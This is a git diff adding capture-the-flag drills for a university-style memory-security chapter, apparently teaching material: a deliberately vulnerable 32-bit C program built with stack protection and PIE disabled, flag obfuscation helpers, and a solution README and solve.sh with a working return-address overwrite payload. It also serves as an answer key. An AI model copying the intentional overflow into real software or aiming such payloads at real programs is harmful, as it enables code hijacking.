+		++p;
+	}
+
+	free(s_obfuscated);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/solution/vuln.c b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/vuln.c
new file mode 100644
index 00000000..77c9b2e8
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/vuln.c
@@ -0,0 +1,55 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdlib.h>
+#include <stdio.h>
+
+#define MAXC 1000
+
+void get_flag(void)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+
+	/* Here goes the obfuscated flag outputed by obfuscate.c */
+	char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x3f\x37"
+			 "\x20\x2b\x24\x21\x49\x01\x08\x45\x41\x05\x23\x40\x35\x6f\x25\x43"
+			 "\x17\x70\x6d\x4f\x56\x1e\x0a\x11\x1f\x61\x07\x64\x27\x10\x5e\x31"
+			 "\x0b\x43\x07\x31\x7c\x55\x0a\x6c\x37\x70\x6c\x09\x70\x55\x54\x74"
+			 "\x2d\x5d\x1a\x46\x33\x70\x24\x2b\x4a\x07\x6d\x06\x16\x57\x70\x4b"
+			 "\x64\x51\x7d\x17\x51";
+
+	int i = 0;
+	int iflag = 0;
+	int garbage;
+	char *res = (char *)malloc(MAXC);
+
+	while (flag[iflag]) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts(res);
+}
+
+int main(void)
+{
+	unsigned int seed = 42;
+	int real_num, guess;
+
+	real_num = rand_r(&seed) % 100000;
+
+	scanf("%d", &guess);
+
+	if (guess == real_num)
+		get_flag();
+	else
+		printf("Try again\n");
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/support/dynamic2 b/chapters/memory-security/ctf/drills/tasks/playing-god/support/dynamic2
new file mode 100755
index 0000000000000000000000000000000000000000..c727249aa0fd8a3bb295c29c1b0b200cb15a1247
GIT binary patch
literal 19264
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
MjgVsyK{LGn0begF82|tP

literal 0
HcmV?d00001

diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/README.md b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/README.md
new file mode 100644
index 00000000..46178bf4
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/README.md
@@ -0,0 +1,6 @@
+# RIP My Buffers Off
+
+The `rip-my-buffers-off/support/buff-ovf2` binary does not use the `get_flag()` function, but it offers an opportunity to call it.
+> **TIP:** Where can a function address be overwritten?
+
+[This example](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85), albeit also linked in the previous exercise, is still a great resource to help you solve this exercise.
diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/Makefile
new file mode 100644
index 00000000..ce9f68c0
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/Makefile
@@ -0,0 +1,23 @@
+CC = gcc
+CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
+LDFLAGS = -no-pie -m32
+SRC_DIR = .
+TARGET = buff-ovf2
+OBJ = buff-ovf2.o
+
+all: $(TARGET)
+
+obfuscator: $(SRC_DIR)/obfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+deobfuscator: $(SRC_DIR)/deobfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+$(TARGET): $(OBJ)
+	$(CC) $(LDFLAGS) $(OBJ) -o $(TARGET)
+
+$(OBJ): $(SRC_DIR)/buff-ovf2.c
+	$(CC) $(CFLAGS) -c $(SRC_DIR)/buff-ovf2.c
+
+clean:
+	rm -rf $(OBJ) $(TARGET) obfuscator deobfuscator
diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/README.md b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/README.md
new file mode 100644
index 00000000..2d5711f8
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/README.md
@@ -0,0 +1,8 @@
+# Solution
+
+The function address on the stack needs to be overwritten with the address of `get_flag()`.
+Before reaching that, the payload needs to pass through some local variables and the EBP.
+
+```sh
+python3 -c 'import sys; sys.stdout.buffer.write(b"A"*41 + b"\xed\x85\x04\x08")' | ./buff-ovf2
+```
diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/buff-ovf2.c b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/buff-ovf2.c
new file mode 100644
index 00000000..d268dcb8
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/buff-ovf2.c
@@ -0,0 +1,61 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+#define MAXC 1000
+
+char buff[] = "Hey";
+
+void get_flag(void)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+
+	/* Here goes the obfuscated flag outputed by obfuscate.c */
+	char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x3f\x37"
+			 "\x20\x2b\x24\x21\x49\x01\x08\x45\x41\x19\x26\x40\x35\x7d\x25\x43"
+			 "\x31\x70\x6d\x66\x56\x1e\x0a\x11\x07\x61\x07\x64\x37\x3d\x46\x31"
+			 "\x0b\x43\x07\x1b\x7c\x4c\x0a\x61\x37\x70\x6c\x09\x70\x43\x54\x74"
+			 "\x2d\x5d\x1a\x46\x34\x70\x24\x2b\x4f\x3d\x6d\x06\x16\x4d\x70\x4b"
+			 "\x71";
+
+	int i = 0;
+	int iflag = 0;
+	int garbage;
+	char *res = (char *)malloc(MAXC);
+
+	while (flag[iflag]) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts(res);
+}
+
+void trampoline(void)
+{
+	unsigned int a = 1234567;
+	char some_str[] = "That's what she said";
+
+	fgets(some_str, 100, stdin);
+	printf("%s's local variables:\n", __func__);
+	printf("0x%x", a);
+	for (int i = 0; i < strlen(some_str); i++)
+		printf("%x", some_str[i]);
+	printf("\n");
+}
+
+int main(void)
+{
+	trampoline();
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/deobfuscator.c
new file mode 100644
index 00000000..1bb4796f
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/deobfuscator.c
@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#define MAXC 1000
+
+void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len)
+{
+	const char *pos = hex_str;
+	*len = 0;
+
+	int ret;
+
+	while (*pos && *(pos + 1)) {
+		if (*pos == '\\' && *(pos + 1) == 'x') {
+			ret = sscanf(pos + 2, "%2hhx", &bytes[*len]);
+			if (ret != 1)
+				exit(EXIT_FAILURE);
+			(*len)++;
+			pos += 4;
+		} else {
+			pos++;
+		}
+	}
+}
+
+void get_flag(unsigned char *flag, int len)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+	int i = 0, iflag = 0, garbage;
+	unsigned char *res = (unsigned char *) malloc(MAXC);
+
+	while (iflag < len) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts((const char *)res);
+	free(res);
+}
+
+int main(void)
+{
+	char hex_input[MAXC];
+	unsigned char flag[MAXC];
+	int len;
+
+	printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): ");
+	fgets(hex_input, MAXC, stdin);
+
+	hex_to_bytes(hex_input, flag, &len);
+
+	get_flag(flag, len);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/obfuscator.c
new file mode 100644
index 00000000..f4583006
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/obfuscator.c
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#define MAXC 1000
+
+const int start_offset = 5;
+unsigned int seed = 42;
+
+unsigned char *obfuscate(unsigned char *s)
+{
+	int i = 0;
+	int garbage;
+	unsigned char *res = (unsigned char *) malloc(10 * MAXC);
+
+	while (*s) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--)
+			res[i++] = rand_r(&seed) % 127 + 1;
+		res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1;
+		++i;
+		++s;
+	}
+	res[i] = 0;
+
+	return res;
+}
+
+int main(void)
+{
+	unsigned char s[MAXC];
+
+	scanf("%s", s);
+
+	unsigned char *s_obfuscated = obfuscate(s);
+	unsigned char *p = s_obfuscated;
+
+	while (*p) {
+		printf("\\x%02x", *p);
+		++p;
+	}
+
+	free(s_obfuscated);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/solve.sh b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/solve.sh
new file mode 100755
index 00000000..331724ac
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/solve.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+python3 -c 'import sys; sys.stdout.buffer.write(b"A"*41 + b"\xed\x85\x04\x08")' | ./buff-ovf2
diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/support/buff-ovf2 b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/support/buff-ovf2
new file mode 100755
index 0000000000000000000000000000000000000000..f40f97153bafe4871f2cb607fa655bddd5b431ba
GIT binary patch
literal 19748
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
